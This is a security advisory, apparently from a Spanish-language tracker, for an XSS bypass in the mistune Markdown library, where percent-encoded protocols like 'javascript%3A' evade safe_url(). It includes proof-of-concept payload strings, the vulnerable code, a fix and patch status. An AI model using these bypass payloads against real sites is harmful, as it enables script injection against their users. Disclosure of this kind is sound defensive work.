GHSA-JXHR-4J38-FPXG
XSS via percent-encoded protocol bypass in safe_url() — javascript%3A bypasses javascript: filter
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-JXHR-4J38-FPXG divulgada | |
| Remediación | Parche 3.3.0 | mistune · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`HTMLRenderer.safe_url()` blocks harmful protocols (`javascript:`, `data:`, etc.) by checking if the lowercased URL starts with those strings. However, `escape_url()` (called during link parsing in `helpers.py`) includes `%` in its safe-character list for `urllib.parse.quote()`, which means existing percent-encoded sequences like `%3A` (`:`) are preserved as-is and never decoded before the `startswith` comparison.
An attacker who can write Markdown with a URL can bypass the `javascript:` filter using `javascript%3A`, which browsers decode back to `javascript:` when following the link — resulting in XSS.
The same bypass works for `data%3Atext/html` (data: protocol) and affects both inline links and reference-style links.
Affected Versions
mistune 3.2.1 (latest) — verified after cloning current `main`.
Proof of Concept
import mistune
md = mistune.create_markdown()
# Normal block — works correctly
print(md('[x](javascript:alert(1))'))
# → <p><a href="#harmful-link">x</a></p> ✓ blocked
# Percent-encoded colon bypass
print(md('[x](javascript%3Aalert%281%29)'))
# → <p><a href="javascript%3Aalert%281%29">x</a></p> ✗ XSS in browser
# Reference-style link — same bypass
print(md('[x][ref]\n\n[ref]: javascript%3Aalert%281%29'))
# → <p><a href="javascript%3Aalert%281%29">x</a></p> ✗ XSS
# data: protocol + base64 bypass (img src)
print(md(''))
# → <img src="data%3Atext/html;base64,..." ✗ XSS in browserAll four bypasses confirmed on mistune 3.2.1 / Python 3.14.4.
Root Cause
# util.py — % is in the safe list, so %3A is preserved
def escape_url(link: str) -> str:
safe = ":/?#@!$&()*+,;=%" # ← % included
return quote(unescape(link), safe=safe)
# html.py — comparison done WITHOUT decoding percent-encoding
def safe_url(self, url: str) -> str:
_url = url.lower()
if _url.startswith(self.HARMFUL_PROTOCOLS): # "javascript%3a..." != "javascript:"
return "#harmful-link" # ← never reached
return escape_text(url)Fix
Decode percent-encoding before the protocol check:
from urllib.parse import unquote
def safe_url(self, url: str) -> str:
_url = unquote(url).lower() # decode %3A → : before comparison
if _url.startswith(self.HARMFUL_PROTOCOLS) and not _url.startswith(self.GOOD_DATA_PROTOCOLS):
return "#harmful-link"
return escape_text(url)CVSS 4.0
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N` — 8.7 (High)
Reported by: @y0un9eee — 2026-05-28 — Disclosure deadline: 2026-08-26 (90 days)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypimistune |
Corregida | 3.3.0 | 0 d | 3.4.0 no afectada |
3.3.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/lepture/mistune/security/advisories/GHSA-jxhr-4j38-fpxgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
